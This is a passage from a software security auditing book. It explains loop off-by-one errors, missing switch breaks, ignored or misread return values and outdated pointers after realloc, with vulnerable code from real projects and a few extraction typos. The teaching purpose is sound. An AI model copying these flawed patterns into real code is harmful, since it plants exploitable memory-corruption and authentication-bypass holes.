SG(read_post_bytes) += read_bytes; if (SG(read_post_bytes) > SG(post_max_size)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Actual POST length does not match Content-Length, and exceeds %ld bytes", SG(post_max_size)); return; } if (read_bytes < SAPI_POST_BLOCK_SIZE) { break; } if (SG(read_post_bytes)+SAPI_POST_BLOCK_SIZE >= allocated_bytes) { allocated_bytes = SG(read_post_bytes) +SAPI_POST_BLOCK_SIZE+1; SG(request_info).post_data = erealloc(SG(request_info).post_data, allocated_bytes); } } SG(request_info).post_data[SG(read_post_bytes)] = 0; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 349 /* terminating NULL */ SG(request_info).post_data_length = SG(read_post_bytes); } The sapi_read_standard_form_data function is expected to fill the global buffer post_data and place a NUL byte at the end of the buffer. However, it doesn't in one case: If more than post_max_size data is supplied, a warning is generated and the function returns. Because this function is a void function and doesn't return a value, the function's caller doesn't know an error has occurred and continues processing unaware. Note that in some circumstances, the php_error_docref() function can cause the process to exit, depending on the second argument; however, in this case the function just generates a warning. In normal circumstances, a bug like this would present potential exploitation opportunities by causing a pointer to increment outside the bounds of the post_data variable. However, in this case, the allocator doesn't let you supply post_max_size (8 MB) bytes in a request because there's a memory limit of 8MB per request (although both the memory allocation maximum data limit and post_max_size can be configured). Auditing Tip Mark all the conditions for exiting a loop as well as all variables manipulated by the loop. Determine whether any conditions exist in which variables are left in an inconsistent state. Pay attention to places where the loop is terminated because of an unexpected error, as these situations are more likely to leave variables in an inconsistent state. Another off-by-one error occurs when a variable is incorrectly checked to ensure that it's in certain boundaries before it's incremented and used. Listing 7-19, which is code from the mod_rewrite Apache module, demonstrates this error. Listing 7-19. Apache 1.3.29/2.X mod_rewrite Off-by-One Vulnerability /* special thing for ldap. * The parts are separated by question marks. * From RFC 2255: * ldapurl = scheme "://" [hostport] ["/" * [dn ["?" [attributes] ["?" [scope] * ["?" [filter] ["?" extensions]]]]]] */ if (!strncasecmp(uri, "ldap", 4)) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 350 char *token[5]; int c = 0; token[0] = cp = ap_pstrdup(p, cp); while (*cp && c < 5) { if (*cp == '?') { token[++c] = cp + 1; *cp = '\0'; } ++cp; } As you can see, the c variable is used to ensure that only five pointers are stored in the array of pointers, token. However, after the size check is performed, the c variable is incremented and used, which means the check should read (*cp && c<4). If an attacker provides input to the loop so that c is equal to four, the input passes the length check but causes the program to write a pointer into token[5], which is outside the allocated space for token. This error can lead to an exploitable condition because the attacker writes a pointer to user-controlled data outside the bounds of the token variable. Loops that can write multiple data elements in a single iteration might also be vulnerable to incorrect size checks. Several vulnerabilities in the past happened because of character escaping or expansion that weren't adequately taken into account by the loop's size checking. The Dutch researcher, Scrippie, found a notable bug in OpenBSD 2.8. The code in Listing 7-20, which is taken from OpenBSD's 2.8 ftp daemon, copies data into a destination buffer, escaping double-quote characters (") as it encounters them. Listing 7-20. OpenBSD ftp Off-by-One Vulnerability char npath[MAXPATHLEN]; int i; for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) { npath[i] = *name; if (*name == '"') npath[++i] = '"'; } npath[i] = '\0'; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 351 The problem in Listing 7-20 is that the i variable can be incremented twice in a single iteration of the loop. Therefore, if a double-quote character is encountered in the source string at location (sizeof(npath)-2), i is incremented twice to hold the value (sizeof(npath)), and the statement immediately following the loop writes a zero byte out of bounds. This code ended up being an exploitable off-by-one vulnerability. Finally, a loop's size check could be invalid because of a type conversion, an arithmetic boundary condition, operator misuse, or pointer arithmetic error. These issues were discussed in Chapter 6(? [????.]). Posttest Versus Pretest Loops When writing program loops, developers can decide whether to use a posttest or a pretest control structure. A posttest loop tests the loop termination condition at the end of each iteration of the loop; a pretest loop tests the condition before each iteration of the loop. In C, posttest and pretest loops can be distinguished easily; a posttest loop uses the do {...} while() construct, and pretest loops use for( ;; ) {...} or while() {...}. Pretest loops tend to be used primarily; posttest loops are used in some situations out of necessity or for personal preference. When encountering loops, code auditors must determine the implications of the developer's choice of loop form and whether that choice could have negative consequences for the code. Posttest loops should be used when the body of the loop always needs to be performed at least one time. As an auditor, you should look for potential situations where execution of the loop body can lead to an unexpected condition. One thing to look out for is the conditional form of the loop performing a sanity check that should be done before the loop is entered. Consider the example in Listing 7-21, which uses a posttest loop to do some simple string processing. Listing 7-21. Postincrement Loop Vulnerability char *cp = get_user_data(); ... do { ++cp; } while (*cp && *cp != ','); In this code, if the data supplied is an empty string (a string containing the NUL character only), the pointer cp is incremented past the string's intended bounds. The loop continues processing undefined data, potentially resulting in a memory The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 352 corruption or information leak vulnerability of some kind. The programmer should have checked whether cp points to a NUL character before entering the loop, so this loop should have been written in pretest form. Likewise, a programmer can use a pretest loop when a posttest format would be more appropriate and, consequently, create an exploitable situation. If the code following a loop expects that the loop body has run at least once, an attacker might be able to intentionally skip the loop entirely and create an exploitable condition. Take a look at the code in Listing 7-22. Listing 7-22. Pretest Loop Vulnerability char **parse_array(char *raw_data) { int i, token_array_size = 0; char **token_array = NULL; for(i = 0; (element = parse_element(&raw_data)) != NULL; i++) { if(i >= token_array_size) { token_array_size += 32; token_array=safe_realloc(token_array, token_array_size * sizeof(char *)); } token_array[i] = element; } token_array[i] = NULL; return token_array; } In this example, the code following the loop assumes that the token_array array has been allocated, which can happen only if the loop runs at least once. If the first call to parse_element() returns NULL, the loop isn't entered, token_array is never allocated, and the bolded code causes a NULL pointer dereference, resulting in a potential crash. Punctuation Errors The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 353 As discussed in Chapter 6(? [????.]), typographical errors can lead to situations that have security-relevant consequences. Occasionally, developers make the mistake of inserting superfluous language punctuation where they shouldn't, and this mistake often results in the loop not doing what was intended. Take a look at a simple example: for(i = 0; i < sizeof(dest) && *src != ' '; i++, src++); dest[i] = *src; if(i == sizeof(dest)) i--; dest[i] = '\0'; The for loop in this code is supposed to be copying data into the dest array; however, the programmer made a slight error: a semicolon at the end of the line with the for loop. Therefore, the loop doesn't actually copy anything, and what should be the loop body always runs once after the counter is incremented past the array bounds. This error means you could potentially write a byte to dest[sizeof(dest)], which would be one byte out of bounds. Naturally, these errors aren't that common because they usually break the program's functionality and, therefore, get caught during testing or development. Simple testing of the code in the previous example would probably show the programmer that any subsequent processing of dest seems to have a problem because the loop doesn't copy any data into dest as it's supposed to. However, these errors do occur from time to time in ways that don't affect the program's functionality, or they occur in error-handling or debugging code that hasn't been tested. As discussed in Chapter 6(? [????.]), reviewers should always be on the lookout for these minor punctuation errors. Flow Transfer Statements Programming languages usually provide control flow statements that developers can use to redirect execution in very direct ways. Loops typically have a mechanism by which a programmer can immediately terminate a loop or advance a loop to its next iteration. Switch-style statements have keywords for denoting a case body and a mechanism for breaking out of a case body. Some languages provide goto and longjmp style statements, which can allow arbitrary control flow transfers within a function or across function boundaries. Occasionally, application developers misuse these control flow statements in ways that can have security-relevant consequences because these keywords are often overloaded. In C, the break statement is used to break out of a switch statement and to terminate a loop. The dual use of this statement can lead to several potential mistakes. Application developers might assume that a break statement can break out The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 354 of any nested block and use it in an incorrect place. Or they might assume the statement breaks out of all surrounding loops instead of just the most immediate loop. Another problem is using a continue statement inside a switch statement to restart the switch comparison. Experienced programmers wouldn't consciously make these kinds of mistakes, but they can remain in code if they're caused by accidental editing mistakes, for example, and aren't immediately apparent when using the application. For these mistakes to remain in the code, however, they need to appear correct enough that a casual review wouldn't raise any red flags. A vulnerability of this nature resulted in the much-publicized AT&T phone network outage of 1990. The programmer mistakenly used a break statement to break out of an if code block nested inside a switch statement. As a result, the switch block was unintentionally broken out of instead. Switch Statements When dealing with suspect control flow, switch statements have a few unique considerations. A common pitfall that developers fall into when using switch statements is to forget the break statement at the end of each case clause. This error can result in code being executed unintentionally when the erroneous case clause runs. Take a look at Listing 7-23. Listing 7-23. Break Statement Omission Vulnerability char *escape_string(char *string) { char *output, *dest; int escape = 0; if(!(output = dest = (char *) calloc(strlen(string+1, sizeof(string)))) die("calloc: %m"); while(*string){ switch(*cp){ case '\\': if(escape){ *dest++ = '\'; escape = 0; } else escape = 1; break; case '\n': *dest++ = ' '; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 355 default: *string = *dest++; } string++; } return output; } This code makes a mistake when dealing with the newline ('\n') character. The break statement is missing, so every newline character causes a space to be written to the destination buffer, followed by a newline character. This happens because the default case clause runs every time the '\n' case is executed. This error results in the code writing more characters into the output buffer than was anticipated. Note In some circumstances, programmers intend to leave the break statement out and often leave a comment (such as /* FALLTHROUGH */) indicating that the omission of the break statement is intentional. When reviewing code containing switch statements, auditors should also determine whether there's any unaccounted-for case. Occasionally, switch statements lacking a default case can be made to effectively run nothing when there isn't a case expression matching the result of the expression in the switch statement. This error is often an oversight on the developer's part and can lead to unpredictable or undesirable results. Listing 7-24 shows an example. Listing 7-24. Default Switch Case Omission Vulnerability struct object { int type; union { struct string_obj *str; struct int_obj *num; struct bool_obj *bool; } un; }; .. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 356 struct object *init_object(int type) { struct object *obj; if(!(obj = (struct object *)malloc(sizeof(struct object)))) return NULL; obj->type = type; switch(type){ case OBJ_STR: obj->un.str = alloc_string(); break; case OBJ_INT: obj->un.num = alloc_int(); break; case OBJ_BOOL: obj->un.bool = alloc_bool(); break; } return obj; } Listing 7-24 initializes an object based on the supplied type variable. The init_object() function makes the assumption that the type variable supplied is OBJ_STR, OBJ_INT, or OBJ_BOOL. If attackers could supply a value that wasn't any of these three values, this function wouldn't correctly initialize the allocated object structure, which means uninitialized memory could be treated as pointers at a later point in the program. 7.3.4 Auditing Functions Functions are a ubiquitous component of modern programs, regardless of the application's problem domain or programming language. Application programmers usually divide programs into functions to encapsulate functionality that can be reused in other places in the program and to organize the program into smaller pieces that are easier to conceptualize and manage. Object-oriented programming languages The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 357 encourage creating member functions, which are organized around objects. As a code auditor, when you encounter a function call, it's important to be cognizant of that call's implications. Ask yourself: What program state changes because of that call? What things can possibly go wrong with that function? What role do arguments play in how that function operates? Naturally, you want to focus on arguments and aspects of the function that users can influence in some way. To formalize this process, look for these four main types of vulnerability patterns that can occur when a function call is made:  Return values are misinterpreted or ignored.  Arguments supplied are incorrectly formatted in some way.  Arguments get updated in an unexpected fashion.  Some unexpected global program state change occurs because of the function call. The following sections explore these patterns and explain why they are potentially dangerous. Function Audit Logs Because functions are the natural mechanism by which programmers divide their programs into smaller, more manageable pieces, they provide a great way for code auditors to divide their analysis into manageable pieces. This section covers creating an audit log, where you can keep notes about locations in the program that could be useful in later analysis. This log is organized around functions and should contain notes on each function's purpose and side effects. Many code auditors use an informal process for keeping these kinds of notes, and the sample audit log used in this section synthesizes some of these informal approaches. To start, list the basic components of an entry, as shown in Table 7-1, and then you can expand on the log as vulnerabilities related to function interaction are discussed. Table 7-1. Sample Audit Log Function prototype int read_data(int sockfd, char **buffer, int *length) Description Reads data from the supplied socket and allocates a buffer for storage. Location src/net/read.c, line 29 Cross-references process_request, src/net/process.c, line 400 process_login, src/net/process.c, line 932 Return value type 32-bit signed integer. Return value meaning Indicates error: 0 for success or -1 for error. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 358 Table 7-1. Sample Audit Log Function prototype int read_data(int sockfd, char **buffer, int *length) Error conditions calloc() failure when allocating MAX_SIZE bytes. If read returns less than or equal to 0. Erroneous return values When calloc() fails, the function returns NULL instead of -1. While you don't need to understand the entire log yet, the following is a brief summary of each row that you can easily refer back to:  Function name The complete function prototype.  Description A brief description of what the function does.  Location The location of the function definition (file and line number).  Cross-references The locations that call this function definition (files and line numbers).  Return value type The C type that is returned.  Return value meaning The set of return types and the meaning they convey.  Error conditions Conditions that might cause the function to return error values.  Erroneous return values Return values that do not accurately represent the functions result, such as not returning an error value when a failure condition occurs. Return Value Testing and Interpretation Ignored or misinterpreted return values are the cause of many subtle vulnerabilities in applications. Essentially, each function in an application is a compartmentalized code fragment designed to perform one specific task. Because it does this in a "black box" fashion, details of the results of its operations are largely invisible to calling functions. Return values are used to indicate some sort of status to calling functions. Often this status indicates success or failure or provides a value that's the result of the function's taskwhether it's an allocated memory region, an integer result from a mathematical operation, or simply a Boolean true or false to indicate whether a specific operation is allowed. In any case, the return value plays a major part in function calling, in that it communicates some result between two separate functional components. If a return value is misinterpreted or simply ignored, the program might take incorrect code paths as a result, which can have severe security implications. As you can see, a large part of the information in the audit log is related to the return value's meaning and how it's interpreted. The following sections explore the process a code auditor should go through when auditing function calls to determine whether The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 359 a miscommunication can occur between two components and whether that miscommunication can affect the program's overall security. Ignoring Return Values Many functions indicate success or failure through a return value. Consequently, ignoring a return value could cause an error condition to go undetected. In this situation, a code auditor must determine the implications of a function's potential errors going undetected. The following simple example is quite common: char *buf = (char *)malloc(len); memcpy(buf, src, len); Quite often, the malloc() function isn't checked for success or failure, as in the preceding code; the developer makes the assumption that it will succeed. The obvious implication in this example is that the application will crash if malloc() can be made to fail, as a failure would cause buf to be set to NULL, and the memcpy() would cause a NULL pointer dereference. Similarly, it's not uncommon for programmers to fail to check the return value of realloc(), as shown in Listing 7-25. Listing 7-25. Ignoring realloc() Return Value struct databuf { char *data; size_t allocated_length; size_t used; }; ... int append_data(struct databuf *buf, char *src, size_t len) { size_t new_size = buf->used + len + EXTRA; if(new_size < len) return -1; if(new_size > buf->allocated_length) { buf->data = (char *)realloc(buf->data, new_size); buf->allocated_length = new_size; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 360 memcpy(buf->data + buf->used, src, len); buf->used += len; return 0; } As you can see the buf->data element can be reallocated, but the realloc() return value is never checked for failure. When the subsequent memcpy() is performed, there's a chance an exploitable memory corruption could occur. Why? Unlike the previous malloc() example, this code copies to an offset from the allocated buffer. If realloc() fails, buf->data is NULL, but the buf->used value added to it might be large enough to reach a valid writeable page in memory. Ignoring more subtle failures that don't cause an immediate crash can lead to far more serious consequences. Paul Starzetz, an accomplished researcher, discovered a perfect example of a subtle failure in the Linux kernel's memory management code. The do_mremap() code is shown in Listing 7-26. Listing 7-26. Linux do_mremap() Vulnerability /* new_addr is valid only if MREMAP_FIXED is specified */ if (flags & MREMAP_FIXED) { if (new_addr & ~PAGE_MASK) goto out; if (!(flags & MREMAP_MAYMOVE)) goto out; if (new_len > TASK_SIZE || new_addr > TASK_SIZE - new_len) goto out; /* Check if the location you're moving into * overlaps the old location at all, and * fail if it does. */ if ((new_addr <= addr) && (new_addr+new_len) > addr) goto out; if ((addr <= new_addr) && (addr+old_len) > new_addr) goto out; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 361 do_munmap(current->mm, new_addr, new_len); } /* * Always allow a shrinking remap: that just unmaps * the unnecessary pages. */ ret = addr; if (old_len >= new_len) { do_munmap(current->mm, addr+new_len, old_len - new_len); if (!(flags & MREMAP_FIXED) || (new_addr == addr)) goto out; } The vulnerability in this code is that the do_munmap() function could be made to fail. A number of conditions can cause it to fail; the easiest is exhausting maximum resource limits when splitting an existing virtual memory area. If the do_munmap() function fails, it returns an error code, which do_mremap() completely ignores. The result of ignoring this return value is that the virtual memory area (VMA) structures used to represent page ranges for processes can be made inconsistent by having page table entries overlapped in two VMAs or totally unaccounted-for VMAs. Through a novel exploitation method using the page-caching system, arbitrary pages could be mapped erroneously into other processes, resulting in a privilege escalation condition. More information on this vulnerability is available at www.isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt. Generally speaking, if a function call returns a value, as opposed to returning nothing (such as a void function), a conditional statement should follow each function call to test for success or failure. Notable exceptions are cases in which the function terminates the application via a call to an exit routine or errors are handled by an exception mechanism in a separate block of code. If no check is made to test for success or failure of a function, the code auditor should take note of the location where the value is untested. Taking this investigation a step further, the auditor can then ask what the implications are of ignoring this return value. The answer depends on what can possibly go wrong in the function. The best way to find out exactly what can go wrong is to examine the target function and locate each point at which the function can return. Usually, several error conditions exist that cause the function to return as well as one return at successful completion of its task. The most interesting cases for auditors to examine, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 362 naturally, are those in which errors do occur. After identifying all the ways in which the function might return, the auditor has a list of possible error conditions that can escape undetected in the application. After compiling this list, any conditions that are impossible for users to trigger can be classified as a lower risk, and auditors can focus on conditions users are able to trigger (even indirectly, such as a memory allocation failure). Listing 7-27 provides an opportunity to apply this investigation process to a simple code block. Listing 7-27. Finding Return Values int read_data(int sockfd, char **buffer, int *length) { char *data; int n, size = MAX_SIZE; if(!(data = (char *)calloc(MAX_SIZE, sizeof(char)))) return 1; if((n = read(sockfd, data, size)) <= 0) return 1; *length = n; *buffer = data; return 0; } Assume you have noticed a case in which the caller doesn't check the return value of this function, so you decide to investigate to see what can possibly go wrong. The function can return in three different ways: if the call to calloc() fails, if the call to read() fails, or if the function successfully returns. Obviously the most interesting cases are the two error conditions, which should be noted in your audit log. An error condition occurs when the call to calloc() fails because the memory of the process has been exhausted. (Causing the program to exhaust its memory is tricky, but it's certainly possible and worth considering.) An error condition can also occur when read() returns an error or zero to indicate the stream is closed, which is probably quite easy to trigger. The implications of ignoring the return value to this function depend on operations following the function call in the calling routine, but you can immediately deduce that they're probably quite serious. How do you know this? The buffer and length arguments are never initialized if the function failsso if the caller fails to check for failure, most likely it continues processing under the assumption that the buffer contains a pointer to some valid memory region with bytes in it to process. Listing 7-28 shows an example of what this type of calling function might look like. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 363 Listing 7-28. Ignoring Return Values int process_request(int sockfd) { char *request; int len, reqtype; read_data(sockfd, &request, &len); reqtype = get_token(request, len); ... } The code is written with the assumption that read_data() returned successfully and passes what should be a character buffer and the number of bytes in it to the function get_token(), presumably to get a keyword out of the request buffer to determine what type of request is being issued. Because read_data() isn't checked for success, it turns out that two uninitialized stack variables could be supplied to get_token(): request, which is expected to point to some allocated memory, and len, which is expected to indicate the number of bytes read off the network into request. Although the exact consequences of this error depend on how get_token() operates, you know from the discussion earlier in this chapter that processing uninitialized variables can have severe consequences, so ignoring the return value of read_data() probably has serious implications. These implications range from a best-case scenario of just crashing the application to a worse-case scenario of corrupting memory in an exploitable fashion. Pay close attention to how small differences in the caller could affect the significance of these errors. As an example, take a look at this slightly modified calling function: int process_request(int sockfd) { char *request = NULL; int len = 0, reqtype; read_data(sockfd, &request, &len); reqtype = get_token(request, len); ... } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 364 Here, you have the same function with one key difference: The stack variables passed to read_data() are initialized to zero. This small change in the code drastically affects the seriousness of ignoring the return value of read_data(). Now the worst thing that can happen is that the program can be made to crash unexpectedly, which although undesirable, isn't nearly as serious as the memory corruption that was possible in the function's original version. That being said, err on the side of caution when estimating the impact of return values, as crashing the application might not be the end of the story. The application might have signal handlers or exception handlers that perform some program maintenance before terminating the process, and they could provide some opportunity for exploitation (although probably not in this example). Misinterpreting Return Values Another situation that could cause problems happens when a return value of a function call is tested or utilized, but the calling function misinterprets it. A return value could be misinterpreted in two ways: A programmer might simply misunderstand the meaning of the return value, or the return value might be involved in a type conversion that causes its intended meaning to change. You learned about type conversion problems in Chapter 6(? [????.]), so this section focuses mainly on errors related to the programmer misinterpreting a return value. This type of programmer error might seem unlikely or uncommon, but it tends to occur quite often in production code, especially when a team of programmers is developing an application and using third-party code and libraries. Often developers might not fully understand the external code's correct use, the external code might change during the development process, or specifications and documentation for the external code could be incorrect. Programmers can also misuse well-known APIs, such as the language's runtime library, because of a lack of familiarity or simple carelessness. To understand this point, consider the following code: #define SIZE(x, y) (sizeof(x) ((y) (x))) char buf[1024], *ptr; ptr = buf; ptr += snprintf(ptr, SIZE(buf, ptr), "user: %s\n", username); ptr += snprintf(ptr, SIZE(buf, ptr), "pass: %s\n", password); ... This code contains a simple mistake. On UNIX machines, the snprintf() function typically returns how many bytes it would have written to the destination, had there been enough room. Therefore, the first call to snprintf() might return a value larger than sizeof(buf) if the username variable is very long. The result is that the ptr The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 365 variable is incremented outside the buffer's bounds, and the second call to snprintf() could corrupt memory due to and integer overflow in the SIZE macro. Hence, the password written into the buffer could be arbitrarily large. Vulnerabilities that arise from misinterpreting return values are often quite subtle and difficult to spot. The best way to go about finding these vulnerabilities is by taking this systematic approach when examining a function: 1. Determine the intended meaning of the return value for the function. When the code is well commented or documented, the auditor might have a good idea of its meaning even before looking at the code; however, verifying that the function returns what the documenter says it does is still important. 2. Look at each location in the application where the function is called and see what it does with the return value. Is it consistent with that return value's intended meaning? The first step raises an interesting point: Occasionally, the fault of a misinterpreted return value isn't with the calling function, but with the called function. That is, sometimes the function returns a value that's outside the documented or specified range of expected return values, or it's within the range of valid values but is incorrect for the circumstance. This error is usually caused by a minor oversight on the application developer's part, but the consequences can be quite drastic. For example, take a look at Listing 7-29. Listing 7-29. Unexpected Return Values int authenticate(int sock, int auth_type, char *login) { struct key *k; char *pass; switch(auth_type){ case AUTH_USER: if(!(pass = read_string(sock))) return -1; return verify_password(login, pass); case AUTH_KEY: if(!(key = read_key(sock))) return 0; return verify_key(login, k); default: return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 366 int check_credentials(int sock) { int auth_type, authenticated = 0; auth_type = read_int(sock); authenticated = authenticate(sock, auth_type, login); if(!authenticated) die("couldn't authenticate %s\n", login); return 0; } Assume that the authenticate() function in Listing 7-29 is supposed to return 1 to indicate success or 0 to indicate failure. You can see, however, that a mistake was made because failure can cause the function to return -1 rather than 0. Because of the way the return value was checkedby testing the return value for zero or non-zerothis small logic flaw could allow users to log in even though their credentials are totally invalid! However, this program wouldn't be vulnerable if the return value check specifically tested for the value of 1, as in this example: if(authenticated != 1) .. error .. Non-zero values represent true in a boolean comparison; so it's easy to see how such a misunderstanding could happen. To spot these errors, auditors can use a process similar to the one for identifying the implications of ignored return values: 1. Determine all the points in a function where it might return Again, usually there are multiple points where it might return because of errors and one point at which it returns because of successful completion. 2. Examine the value being returned Is it within the range of expected return values? Is it appropriate for indicating the condition that caused the function to return? If you find a spot where an incorrect value is returned from a function, you should take note of its location and then evaluate its significance based on how the return value is interpreted in every place where the function is called. Because this process is so similar to determining the implications of ignoring the current function's return The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 367 value, both tasks can and should be integrated into one process to save time. For example, say you're auditing the following function: int read_data(int sockfd, char **buffer, int *length) { char *data; int n, size = MAX_SIZE; if(!(data = (char *)calloc(MAX_SIZE, sizeof(char)))) return 0; if((n = read(sockfd, data, size)) <= 0) return -1; *length = n; *buffer = data; return 0; } The function audit logs presented earlier in this chapter provide an ideal way to capture all the important information about return values for the read_data() function presented here. Table 7-2 demonstrates the rows in an audit log for this function that encapsulates all of the relevant information on the expected return values from this function. Table 7-2. Return Values from Sample Audit Log Return value type 32-bit signed integer Return value meaning Indicates error: 0 for success or -1 for error The implications of incorrect return values or of a calling function ignoring return values aren't listed in the table, as those implications vary depending on the calling function. Auditors could track this information in notes they keep on the process_request() and process_login() functions. Keeping a log for every function in a large application would be quite tedious (not to mention time consuming), so you might choose not to log this information based on two requirements: The function is never called in a context influenced by users who are potential attackers, such as configuration file utility functions, or the function is so small and simple that it's easy to remember how it operates. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 368 Keeping these logs might seem excessive because after reading the code, you know all the information needed to audit a function's use; however, there are two compelling reasons for writing down this information:  Applications can be arbitrarily complex, and functions might be called in hundreds of different places, each with slightly differing sets of circumstances.  When the application is updated, it's helpful to have a set of notes you can refer to if you want to see whether the changes have an interesting impact. The small nuances of functions are easy to forget over time, and this way, you can refer to your notes without reading the application code again, or worse, assuming you know how the application works and missing new vulnerabilities. The second way function return values can be misinterpreted is a type conversion that causes the return value's meaning to change. This misinterpretation is an extension of the first kind of misinterpretationthe calling function simply misunderstands the meaning of the value. You have already learned about type conversion issues in Chapter 6(? [????.]), so you don't need to revisit them. However, be aware that when a return value is tested and discarded or stored in a variable for later use, determining the type conversions that take place during each subsequent use of the value is essential. When the return value is tested and discarded, you need to consider the type conversion rules to verify that the value is being interpreted as intended. When the return value is stored, you should examine the type of variable it's stored in to ensure that it's consistent with the type of the function's return value. The return value log shown in Table 7-2 can help you discover vulnerabilities related to return value type conversions. In particular, the Return type and Return value meaning rows serve as a brief summary of how the return value is intended to be used. So if a type conversion takes place, you can quickly see whether parts of the return value meaning could be lost or misinterpreted by a type conversion (such as negative values). Function Side-Effects Side-effects occur when a function alters the program state in addition to any values it returns. A function that does not generate any side-effects is considered referentially transparentthat is, the function call can be replaced directly with the return value. In contrast, a function that causes side-effects is considered referentially opaque. Function side effects are an essential part of most programming languages. They allow the programmer to alter elements of the program state or return additional pieces of data beyond what the return value can contain. In this section, you will explore the impact of two very specific function side effects: manipulating arguments passed by reference (value-result arguments) and manipulating globally scoped variables. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 369 Vulnerabilities resulting from manipulating pass-by-reference arguments can occur because the calling function's author neglects to account for possibility of changes to the arguments, or the function can be made to manipulate its arguments in an unanticipated or inconsistent fashion. One of the more common situations in which this bug can occur is when realloc() is used to resize a buffer passed as a pointer argument. The vulnerability usually occurs for one of two reasons: The calling function has a pointer that was not updated after a call to realloc(), or the new allocation size is incorrect because of a length miscalculation. Listing 7-30 shows an example of a function that reallocates a buffer passed by reference, resulting in the calling function referencing an outdated pointer. Listing 7-30. Outdated Pointer Vulnerability int buffer_append(struct data_buffer *buffer, char *data, size_t n) { if(buffer->size buffer->used < n){ if(!(buffer->data = realloc(buffer->data, buffer->size+n))) return -1; buffer->size = buffer->size+n; } memcpy(buffer->data + buffer->used, n); buffer->used += n; return 0; } int read_line(int sockfd, struct data_buffer *buffer) { char data[1024], *ptr; int n, nl = 0; for(;;){ n = read(sockfd, data, sizeof(data)-1); if(n <= 0) return 1; if((ptr = strchr(data, '\n'))){ n = ptr data; nl = 1; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 370 data[n] = '\0'; if(buffer_append(buffer, data, n) < 0) return -1; if(nl){ break; } return 0; } int process_token_string(int sockfd) { struct data_buffer *buffer; char *tokstart, *tokend; int i; buffer = buffer_allocate(); if(!buffer) goto err; for(i = 0; i < 5; i++){ if(read_data(sockfd, buffer) < 0) goto err; tokstart = strchr(buffer->data, ':'); if(!tokstart) goto err; for(;;){ tokend = strchr(tokstart+1, ':'); if(tokend) break; if(read_line(sockfd, buffer) < 0) goto err; } *tokend = '\0'; process_token(tokstart+1); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 371 buffer_clear(buffer); } return 0; err: if(buffer) buffer_free(buffer); return 1; } The process_token_string() function reads five tokens that are delimited by a colon character and can expand to multiple lines. During token processing, the read_line() function is called to retrieve another line of data from the network. This function then calls buffer_append(), which reallocates the buffer when there's not enough room to store the newly read line. The problem is that when a reallocation occurs, the process_token_string() function might end up with two outdated pointers that referenced the original buffer: tokstart and tokend. Both of these outdated pointers are then manipulated (as shown in bold), resulting in memory corruption. As you can see, these outdated pointer bugs are generally spread out between several functions, making them much harder to find. So it helps to have a little more practice in identifying code paths vulnerable to these issues. Listing 7-31 shows another example of an outdated pointer use do to buffer reallocation, this time from example from ProFTPD 1.2.7 through 1.2.9rc2. Listing 7-31. Outdated Pointer Use in ProFTPD static void _xlate_ascii_write(char **buf, unsigned int *buflen, unsigned int bufsize, unsigned int *expand) { char *tmpbuf = *buf; unsigned int tmplen = *buflen; unsigned int lfcount = 0; int res = 0; register unsigned int i = 0; /* Make sure this is zero (could be a holdover from a previous call). */ *expand = 0; /* First, determine how many bare LFs are present. */ if (tmpbuf[0] == '\n') The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 372 lfcount++; for (i = 1; i < tmplen; i++) if (tmpbuf[i] == '\n' && tmpbuf[i-1] != '\r') lfcount++; The _xlate_ascii_write() function checks how many newline characters are in the file being transmitted. In ASCII FTP modes, each newline must be prepended with a carriage return, so the program developers want to allocate a buffer big enough for those extra carriage returns to compensate for ASCII file transfers. The buffer being reallocated is the destination buffer, the first argument to the _xlate_ascii_write() function. If a reallocation occurs, the destination buffer is updated, as shown in the following code: if ((res = (bufsize - tmplen - lfcount)) < 0) { pool *copy_pool = make_sub_pool(session.xfer.p); char *copy_buf = pcalloc(copy_pool, tmplen); memmove(copy_buf, tmpbuf, tmplen); /* Allocate a new session.xfer.buf of the needed size. */ session.xfer.bufsize = tmplen + lfcount; session.xfer.buf = pcalloc(session.xfer.p, session.xfer.bufsize); ... do more stuff ... *buf = tmpbuf; *buflen = tmplen + (*expand); } The preceding code is fine, but look at the code that calls _xlate_ascii_write(): int data_xfer(char *cl_buf, int cl_size) { char *buf = session.xfer.buf; int len = 0; int total = 0; ... does some stuff ... while (size) { char *wb = buf; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 373 unsigned int wsize = size, adjlen = 0; if (session.flags & (SF_ASCII|SF_ASCII_OVERRIDE)) _xlate_ascii_write(&wb, &wsize, session.xfer.bufsize, &adjlen); if(pr_netio_write(session.d->outstrm, wb, wsize) == -1) return -1; The data_xfer() function has a loop for transferring a certain amount of data for each iteration. Each loop iteration, however, resets the input buffer to the original session.xfer.buf, which might have been reallocated in _xlate_ascii_write(). Furthermore, session.xfer.bufsize is passed as the length of the buffer, which _xlate_ascii_write() also might have updated. As a result, if _xlate_ascii_write() ever reallocates the buffer, any subsequent loop iterations use an outdated pointer with an invalid size! The previous examples centered on reallocating memory blocks. Similar errors have been uncovered in a number of applications over the past few years. Sometimes unique situations that are less obvious crop up. The code in Listing 